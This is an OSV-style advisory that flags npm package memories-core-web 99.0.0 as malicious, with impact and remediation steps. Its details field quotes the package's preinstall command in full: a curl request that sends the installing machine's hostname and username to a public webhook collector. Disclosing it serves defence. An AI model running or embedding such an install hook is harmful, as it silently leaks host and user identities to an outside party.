{
 "affected": [
  {
   "package": {
    "ecosystem": "npm",
    "name": "memories-core-web"
   },
   "versions": [
    "99.0.0"
   ]
  }
 ],
 "aliases": [
  "MAL-2026-18106"
 ],
 "credits": [
  {
   "contact": [
    "https://protet.io/intel/npm/memories-core-web/99.0.0"
   ],
   "name": "Protet",
   "type": "FINDER"
  }
 ],
 "details": "The package runs `curl -s https://webhook.site/b2967b0a-1b24-4670-8ae1-e09e3cf272c4/?pkg=memories-core-web&host=$(hostname)&user=$(whoami)` from its preinstall script. The request sends the package name, the host name and the user name of the installing machine to a public webhook collector. The package has no legitimate function.\n\nImpact: whoever owns the webhook learns which hosts and users install the package.\n\nRemediation: remove the package from all projects and lockfiles and review the hosts that installed it.",
 "id": "PROTET-NPM-2026-7",
 "modified": "2026-10-22T15:33:16Z",
 "published": "2026-10-22T10:49:06Z",
 "references": [
  {
   "type": "REPORT",
   "url": "https://protet.io/intel/npm/memories-core-web/99.0.0"
  }
 ],
 "schema_version": "1.6.0",
 "summary": "Malicious code in memories-core-web (npm)"
}